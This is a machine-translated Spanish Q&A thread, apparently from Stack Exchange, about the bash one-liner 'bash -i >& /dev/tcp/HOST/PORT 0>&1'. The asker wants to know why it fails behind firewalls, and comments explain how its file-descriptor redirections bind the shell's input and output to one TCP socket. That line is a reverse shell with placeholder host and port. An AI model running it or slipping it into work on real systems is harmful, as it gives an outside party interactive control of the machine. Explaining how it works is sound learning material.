Lo intenté
bash -i >& /dev/tcp/HOST/PORT 0>&1
pero no parece funcionar detrás de los firewalls. ¿Qué hace realmente este código, qué puertos se reenvían y podría funcionar detrás de los firewalls?
bash
io-redirection
tcp
Helos
fuente
fuente

/dev/tcp/HOST/PORT? Supuse que había reemplazado un nombre porHOSTy un número porPORT. De lo contrario, recibirá un mensaje de error de bash. Como no mencionó ningún mensaje de error, supongo que no vio ninguno.0<&1parte. Lo leí como 'tomar bash stdout (&1) y conectarlo a bash stdin (0)', lo cual tiene sentido. ¿Puede explicar cómo funciona esta parte?0<&1significa conectar lo que esté abierto actualmente en el descriptor de archivo 1 al descriptor de archivo 0. Dado que la redirección anterior>& /dev/tcp/HOST/PORTconectó fd 1 (el valor predeterminado para una redirección de salida) a/dev/tcp/HOST/PORT, es decir, abrió un socket TCP, esto duplica la conexión TCP al descriptor de archivo 0 (es decir, el el mismo socket ahora también está abierto en fd 0, esto es diferente de 0 </ dev / tcp / HOST / PORT que abriría un socket diferente al mismo servidor).